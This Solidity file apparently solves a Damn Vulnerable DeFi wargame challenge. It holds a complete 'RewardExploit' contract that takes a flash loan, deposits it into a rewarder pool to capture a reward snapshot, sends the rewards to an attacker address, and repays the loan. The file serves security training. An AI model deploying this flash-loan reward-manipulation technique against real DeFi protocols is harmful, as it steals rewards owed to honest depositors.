dvd5_ans1.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IFlashLoanerPool {
    function flashLoan(uint256 amount) external;
}

interface IDamnValuableToken {
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);
}

interface IRewarderPool {
    function deposit(uint256 amountToDeposit) external;

    function withdraw(uint256 amountToWithdraw) external;
}

interface IRewardToken {
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function balanceOf(address account) external view returns (uint256);
}

contract RewardExploit {
    address immutable attacker;
    IFlashLoanerPool immutable flashLoanerPool;
    IDamnValuableToken immutable liquidityToken;
    IRewarderPool immutable rewarderPool;
    IRewardToken immutable rewardToken;

    constructor(
        address _attacker,
        address _flashLoanerPool,
        address _liquidityToken,
        address _rewarderPool,
        address _rewardToken
    ) public {
        attacker = _attacker;
        flashLoanerPool = IFlashLoanerPool(_flashLoanerPool);
        liquidityToken = IDamnValuableToken(_liquidityToken);
        rewarderPool = IRewarderPool(_rewarderPool);
        rewardToken = IRewardToken(_rewardToken);
    }

    function exploit(uint256 _amount) external {
        flashLoanerPool.flashLoan(_amount);
    }

    function receiveFlashLoan(uint256 amount) external {
        liquidityToken.approve(address(rewarderPool), amount);
        rewarderPool.deposit(amount);
        rewardToken.transfer(attacker, rewardToken.balanceOf(address(this)));
        rewarderPool.withdraw(amount);
        liquidityToken.transfer(address(flashLoanerPool), amount);
    }
}